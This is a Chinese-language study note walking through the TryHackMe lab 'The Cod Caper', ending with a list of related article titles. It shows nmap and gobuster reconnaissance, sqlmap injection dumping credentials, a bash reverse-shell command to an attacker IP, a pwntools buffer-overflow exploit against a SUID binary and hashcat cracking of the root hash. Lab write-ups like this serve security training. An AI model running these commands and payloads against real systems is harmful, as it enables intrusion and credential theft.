TryHackMe学习笔记-The Cod Caper
文章目录
- 概述
- 端口扫描
- 80端口漏洞利用
- Web页面访问
- 目录扫描
- SQL注入
- 命令执行 - 初始立足点
- 敏感文件查找
- LinEnum
- 提权
- gdb
- 利用pwntools溢出
- hashcat破解hash
概述
继续TryHackMe的学习记录,本次靶机为The Cod Caper,内容为从Web漏洞利用到缓冲区溢出提权。
启动靶机后,靶机IP地址为10.10.162.177
端口扫描
nmap端口扫描,发现开了2个端口
nmap -Pn --open 10.10.162.177PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
对80端口进一步探测
nmap -Pn -p80 --open -sC -sV 10.10.162.177PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
对22端口进一步探测
nmap -Pn -p22 --open -sC -sV 10.10.162.177PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 6d:2c:40:1b:6c:15:7c:fc:bf:9b:55:22:61:2a:56:fc (RSA)
| 256 ff:89:32:98:f4:77:9c:09:39:f5:af:4a:4f:08:d6:f5 (ECDSA)
|_ 256 89:92:63:e7:1d:2b:3a:af:6c:f9:39:56:5b:55:7e:f9 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
80端口漏洞利用
Web页面访问
直接访问http://10.10.162.177,是Apache默认页面
目录扫描
sudo gobuster dir -u http://10.10.162.177 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x .php,.txt,.html
SQL注入
访问http://10.10.162.177/administrator.php
直接通过sqlmap测试注入,这里注意,无法使用burp记录post的内容,因此不能使用-r
参数,改为使用--forms
参数
sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment
进一步利用sqlmap注入,最终得到web应用的账号密码
sqlmap --random-agent -u http://10.10.162.177/administrator.php --forms --tamper space2comment -D users -T users -C "username,password" --dumpDatabase: users
Table: users
[1 entry]
+----------+------------+
| username | password |
+----------+------------+
| pingudad | secretpass |
+----------+------------+
命令执行 - 初始立足点
利用账号密码登录系统,得到一个输入框可以执行命令,这里在命令框执行bash -c "bash -i >& /dev/tcp/10.11.13.149/4444 0>&1"
,在攻击机10.11.13.149得到反弹shell,得到初始立足点,此时的用户为www-data
敏感文件查找
根据靶机提示,需要使用find
命令查找敏感文件
···
$ find / -user www-data -type f 2>/dev/null
···
除了web应用文件外,找到一个/var/hidden/pass
文件可以以www-data
打开得到密码pinguapingu
LinEnum
根据靶机提示,需要使用LinEnum查找可提权的点,利用已有账号pingu:pinguapingu
,通过scp命令向靶机传送文件LinEnum.sh,放在/tmp目录下,运行枚举
chmod +x LinEnum.sh
./LinEnum.sh
发现文件/opt/secret/root
提权
根据靶机提示,已经有此文件的源代码
#include "unistd.h"
#include "stdio.h"
#include "stdlib.h"
void shell(){
setuid(1000);
setgid(1000);
system("cat /var/backups/shadow.bak");
}void get_input(){
char buffer[32];
scanf("%s",buffer);
}int main(){
get_input();
}
首先查看/opt/secret/root
的保护措施,可以看到没开启任何保护措施
分析源代码,可以看到main()调用get_input()函数,其有一个buffer缓冲,并用scanf()接收输入,不进行边界检查,能够导致缓冲区溢出,是我们控制程序控制流(通过控制寄存器EIP实现),进行执行shell(),读取cat /var/backups/shadow.bak
gdb
要进行缓冲区溢出,需要首先确认偏移,使其覆盖缓冲区与ebp直到eip,这里使用gdb实现,使用了pwndbg插件
首先生成填充字符
cyclic 100
输入上述字符串得到异常,提示Invalid address 0x6161616c
通过命令 cyclic -l 0x6161616c
确认偏移为44
利用pwntools溢出
p = process('./root')
elf = ELF('./root', checksec=False)offset = 44
shell_addr = elf.symbols['shell']
payload = 'A' * offset + p32(shell_addr)
p.sendline(payload)
p.interactive()
得到root的hash值$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.
hashcat破解hash
使用hashcat破解
sudo hashcat -m 1800 password.txt rockyou.txt --force
sudo hashcat -m 1800 password.txt ~/tmp/rockyou.txt --show
$6$rFK4s/vE$zkh2/RBiRZ746OW3/Q/zqTRVfrfYJfFjFc2/q.oYtoF1KglS3YWoExtT3cvA3ml9UtDS8PFzCk902AsWx00Ck.:love2fish
得到密码为love2fish
,得到完全的靶机控制权限
TryHackMe学习笔记-The Cod Caper相关推荐
- TryHackMe学习笔记-Windows PrivEsc Arena
文章目录 Task 1 Connecting to TryHackMe network Task 2 Deploy the vulnerable machine Task 3 Registry Esc ...
- Git 学习笔记:自定义Git(完)
前言 在补习python的时候主要参考的是廖雪峰的教程Python教程,在学习完后准备完成期末作业时,遇到了一个技术难题,需要初步掌握git,因此开始了git的学习. 本教程参考廖雪峰的Git教程 G ...
- 廖雪峰Git教程学习笔记
廖雪峰git简单教程学习笔记 教程地址:https://www.liaoxuefeng.com/wiki/0013739516305929606dd18361248578c67b8067c8c017b ...
- PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 call
您的位置 首页 PyTorch 学习笔记系列 PyTorch 学习笔记(六):PyTorch hook 和关于 PyTorch backward 过程的理解 发布: 2017年8月4日 7,195阅读 ...
- 容器云原生DevOps学习笔记——第三期:从零搭建CI/CD系统标准化交付流程
暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...
- 容器云原生DevOps学习笔记——第二期:如何快速高质量的应用容器化迁移
暑期实习期间,所在的技术中台-效能研发团队规划设计并结合公司开源协同实现符合DevOps理念的研发工具平台,实现研发过程自动化.标准化: 实习期间对DevOps的理解一直懵懵懂懂,最近观看了阿里专家带 ...
- 2020年Yann Lecun深度学习笔记(下)
2020年Yann Lecun深度学习笔记(下)
- 2020年Yann Lecun深度学习笔记(上)
2020年Yann Lecun深度学习笔记(上)
- 知识图谱学习笔记(1)
知识图谱学习笔记第一部分,包含RDF介绍,以及Jena RDF API使用 知识图谱的基石:RDF RDF(Resource Description Framework),即资源描述框架,其本质是一个 ...
最新文章
- 检测到目标服务器启用了trace方法_综述:目标检测中的多尺度检测方法
- tf.InteractiveSession()与tf.Session()
- struts2的bean标签和set标签
- PHP密码问题陈婷代码_PHP实现登录注册
- mysql 汉编码 的选_peewee连接mysql汉语言数据编码_mysql
- MooTools1.3.1 API(Core)学习及试译(三)——Types(二)
- 让人欲罢不能的量子学
- linux中的特殊文件权限
- SDL2源代码分析1:初始化(SDL_Init())
- 计算机术语解ssh,将Bash脚本SSH到计算机中而不提示密码和不使用密钥
- 用android实现GB28181前端设备接入平台
- Linus最高产,2021 Linux内核开发统计出炉
- 正则表达式系列:匹配正数、负数和小数 (正负整数)
- 超大背包问题(01背包)
- android fragment 白屏,当应用Crash后fragment出现白屏
- 友善之臂(FriendlyArm)NanoPi无线网络设置
- Conditional Likelihood Maximisation: A Unifying Framework for Information Theoretic Feature Selecti
- 后端进度报告(2018.5.17)
- Cause: java.sql.SQLException: SQL String cannot be empty 解决方案
- 云南省二级c计算机考试试题,2015云南省计算机等级考试试题 二级C试题最新考试试题库(完整版)...